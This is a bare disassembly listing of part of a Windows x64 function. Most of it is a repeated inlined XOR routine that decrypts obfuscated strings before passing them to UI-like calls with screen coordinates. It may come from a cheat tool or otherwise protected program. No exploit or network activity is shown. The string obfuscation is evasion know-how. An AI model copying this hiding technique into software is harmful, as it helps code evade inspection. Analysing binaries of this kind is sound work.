movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x14005cb60
lea rax, [rbp + 0x6d8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x14005cba2
lea rdx, [rbp + 0x6d8]
lea rcx, [0x1401b92c0]
call fcn.140042c70
jmp 0x14005cf75
cmp eax, 2
jne 0x14005cf69
cmp byte [0x140173983], r13b
movups xmm0, xmmword [0x140173970]
mov eax, dword [0x140173980]
mov dword [rbp + 0x86c], eax
movups xmmword [rbp + 0x85c], xmm0
je 0x14005cd84
mov r8d, r13d
cmp r15d, 2
jl 0x14005cd40
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x860]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005cc31
cmp r8d, 0x14
jge 0x14005cd84
movsxd rax, r8d
lea r9, [rbp + 0x85c]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x14005cd50
lea rcx, [rbp + 0x85c]
call fcn.140050370
cmp byte [0x140173983], r13b
movups xmm1, xmmword [0x140173970]
mov eax, dword [0x140173980]
mov dword [rbp + 0x880], eax
movups xmmword [rbp + 0x870], xmm1
je 0x14005cf54
mov r8d, r13d
cmp r15d, 2
jl 0x14005cf0f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x874]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005ce00
cmp r8d, 0x14
jge 0x14005cf54
movsxd rax, r8d
lea r9, [rbp + 0x870]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x14005cf20
lea rdx, [rbp + 0x870]
lea rcx, [0x1401b92c0]
call fcn.1400428f0
jmp 0x14005cf75
cmp eax, 3
jne 0x14005cf75
mov byte [0x1401bb349], 1
call fcn.14000c5a0
call fcn.140016b30
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
call fcn.1400169e0
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x80]
addss xmm0, dword [0x140174170]
movss dword [rax + 0xfc], xmm0
mov byte [rax + 0x139], 1
mov rax, qword [rcx + 0x3ee0]
movss xmm0, dword [rcx + 0x3830]
mulss xmm0, xmm9
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm1, dword [rax + 0x248]
mulss xmm2, xmm9
addss xmm2, dword [0x140174180]
subss xmm2, xmm0
movss xmm0, dword [rax + 0x18]
subss xmm1, xmm0
subss xmm2, xmm13
cmp qword [rax + 0x1a0], r13
jne 0x14005d02b
cmp qword [rcx + 0x4b28], r13
je 0x14005d037
movss xmm1, dword [rax + 0x218]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x382c]
lea rdx, [rbp + 0x3d0]
movzx ecx, word [0x140173ea0]
mov eax, dword [str.kX]
mov dword [rbp - 0x3b], eax
movzx eax, byte [0x140173ea2]
xor byte [rbp - 0x3a], 0x39
xor al, 0x3e
xor byte [rbp - 0x39], 0x3a
xor byte [rbp - 0x38], 0x3b
mov word [rbp - 0x37], cx
xor cl, 0x3c
xor byte [rbp - 0x36], 0x3d
mulss xmm1, xmm9
mov byte [rbp - 0x37], cl
lea rcx, [rbp - 0x3b]
mulss xmm0, xmm9
mov byte [rbp - 0x3b], 0x53
movss dword [rbp + 0x3d4], xmm2
mov byte [rbp - 0x35], al
subss xmm1, xmm0
subss xmm1, dword [0x14017415c]
movss dword [rbp + 0x3d0], xmm1
call fcn.14000c490
cmp byte [0x14017396f], r13b
mov rax, qword [str.kzuk]
mov qword [rbp + 0x24], rax
je 0x14005d214
cmp r15d, 2
jl 0x14005d1d1
movdqa xmm2, xmmword [0x1401742f0]
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x24]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x24], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x28]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x28], xmm2
jmp 0x14005d214
lea r9, [rbp + 0x24]
mov r8d, r13d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14005d1e0
cmp byte [str._JNZRY_M_], r13b
lea rax, [rbp + 0x24]
mov qword [rbp + 0x8d0], rax
mov rax, qword [str.ANI__a]
mov qword [rbp + 0x3c], rax
je 0x14005d384
cmp r15d, 2
jl 0x14005d341
movdqa xmm2, xmmword [0x1401742f0]
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x3c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x3c], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp + 0x40]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x40], xmm2
jmp 0x14005d384
lea r9, [rbp + 0x3c]
mov r8d, r13d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14005d350
mov dword [rsp + 0x28], r13d
lea r9, [rbp + 0x8d0]
lea rdx, [0x1401efdd0]
mov dword [rsp + 0x20], esi
lea rcx, [rbp + 0x3c]
call fcn.140037cc0
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
cmp byte [rcx + 0xb3], r13b
jne 0x14005d3d4
mov eax, dword [rcx + 0x1ac]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.140036920
mov rax, qword [0x1401ba210]
mov rcx, qword [rax + 0x3ee0]
movss xmm1, dword [rcx + 0x18]
movss xmm0, dword [rcx + 0x248]
subss xmm0, xmm1
cmp qword [rcx + 0x1a0], r13
jne 0x14005d3fe
cmp qword [rax + 0x4b28], r13
je 0x14005d40a
movss xmm0, dword [rcx + 0x218]
subss xmm0, xmm1
mulss xmm0, xmm9
mov r8d, r13d
subss xmm0, dword [rax + 0x37e8]
movzx eax, word [0x140173e48]
mov word [rbp + 0x2b2], ax
movzx eax, byte [0x140173e4a]
mov byte [rbp + 0x2b4], al
mov dword [rbp + 0xe4], 0x420c0000
addss xmm0, xmm11
movss dword [rbp + 0xe0], xmm0
movups xmm0, xmmword [0x140173e38]
movups xmmword [rbp + 0x2a2], xmm0
cmp r15d, 2
jl 0x14005d5af
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x2a6]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005d4a0
cmp r8d, 0x13
jge 0x14005d5f4
movsxd rax, r8d
lea r9, [rbp + 0x2a2]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14005d5c0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x2a2]
call fcn.1400345b0
test al, al
je 0x14005d637
mov eax, dword [0x1401efdd0]
test eax, eax
jne 0x14005d61e
mov byte [0x1401ba28f], 1
jmp 0x14005d637
cmp eax, 1
jne 0x14005d62b
mov byte [0x1401bb348], al
jmp 0x14005d637
cmp eax, 2
jne 0x14005d637
mov byte [0x1401bb34a], 1
movaps xmm1, xmm12
movaps xmm0, xmm10
call fcn.140016650
mov rdx, qword [0x1401ba210]
mov rax, qword [rdx + 0x3ee0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x248]
subss xmm0, xmm1
cmp qword [rax + 0x1a0], r13
jne 0x14005d675
cmp qword [rdx + 0x4b28], r13
je 0x14005d681
movss xmm0, dword [rax + 0x218]
subss xmm0, xmm1
cmp byte [0x140173665], r13b
mov eax, dword [0x140173660]
mulss xmm0, xmm9
subss xmm0, dword [rdx + 0x37e8]
mov dword [rbp + 0x7ac], eax
movzx eax, word [0x140173664]
mov dword [rbp + 0x3cc], 0x420c0000
mov word [rbp + 0x7b0], ax
addss xmm0, xmm11
movss dword [rbp + 0x3c8], xmm0
movups xmm0, xmmword [0x140173650]
movups xmmword [rbp + 0x79c], xmm0
je 0x14005d874
mov r8d, r13d
cmp r15d, 2
jl 0x14005d82f
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x7a0]
movdqa xmm5, xmmword [0x1401742f0]
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x14005d720
cmp r8d, 0x16
jge 0x14005d874
movsxd rax, r8d
lea r9, [rbp + 0x79c]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x14005d840
lea rdx, [rbp + 0x3c8]
lea rcx, [rbp + 0x79c]
call fcn.1400345b0
test al, al
je 0x14005dc4e
movups xmm0, xmmword [0x1401735c8]
movups xmmword [rbp + 0x940], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14005da44
cmp r15d, 2
jl 0x14005d9f9
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x944]
movdqa xmm5, xmmword [0x1401742f0]
mov edx, r13d
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x14005d8f0
jmp 0x14005da44
lea r9, [rbp + 0x940]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005da10
comiss xmm13, dword [0x1401db7ec]
jbe 0x14005da5c
lea rax, [rbp + 0x940]
mov qword [0x1401b7df0], rax
movups xmm0, xmmword [0x1401735c8]
mov byte [0x1401ba28c], 1
mov dword [0x1401db4ac], r13d
movups xmmword [rbp + 0x6a8], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14005dc24
cmp r15d, 2
jl 0x14005dbd9
movdqa xmm0, xmmword [str.8888888888888888]
lea rcx, [rbp + 0x6ac]
movdqa xmm5, xmmword [0x1401742f0]
mov edx, r13d
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm6, xmmword [0x140174320]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x14005dad0
jmp 0x14005dc24
lea r9, [rbp + 0x6a8]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005dbf0
lea rax, [rbp + 0x6a8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r13b
jne 0x14005dc32
lea rdx, [rbp + 0x6a8]
lea rcx, [0x1401b92c0]
call fcn.140042c70
call fcn.14000c5a0
call fcn.140016b30
mov eax, dword [0x1401efdf4]
jmp 0x14005dc71
movss xmm7, dword [0x14017412c]
movss xmm8, dword [0x140174160]
cmp eax, 1
jne 0x14006027a
call fcn.1400169e0
mov rcx, qword [0x1401ba210]
mov rax, qword [rcx + 0x3ee0]
movss xmm2, dword [rax + 0x24c]
subss xmm2, dword [rax + 0x1c]
movss xmm0, dword [rax + 0x18]
movss xmm1, dword [rax + 0x248]
subss xmm1, xmm0
subss xmm2, xmm7
subss xmm2, xmm15
cmp qword [rax + 0x1a0], r13
jne 0x14005dcc6
cmp qword [rcx + 0x4b28], r13
je 0x14005dcd2
movss xmm1, dword [rax + 0x218]
subss xmm1, xmm0
cmp byte [0x140173b67], r13b
movss xmm0, dword [rcx + 0x382c]
mov rax, qword [str.kWSKYOM_uX_R_]
mulss xmm1, xmm9
mov qword [rbp - 0xa], rax
mulss xmm0, xmm9
movss dword [rbp + 0xf4], xmm2
subss xmm1, xmm0
subss xmm1, xmm8
movss dword [rbp + 0xf0], xmm1
je 0x14005de64
cmp r15d, 2
jl 0x14005de1f
movdqa xmm2, xmmword [0x1401742f0]
movdqa xmm3, xmmword [0x140174310]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1401744f0]
movdqa xmm0, xmm2
mov eax, dword [str.8888888888888888]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp - 0xa]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp - 0xa], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140174320]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140174370]
movd xmm1, dword [rbp - 6]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 6], xmm2
jmp 0x14005de64
lea r9, [rbp - 0xa]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14005de30
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0xa]
call fcn.14000c490
mov eax, dword [0x140173c40]
mov r8d, r13d
movsd xmm0, qword [str.iLSXW]
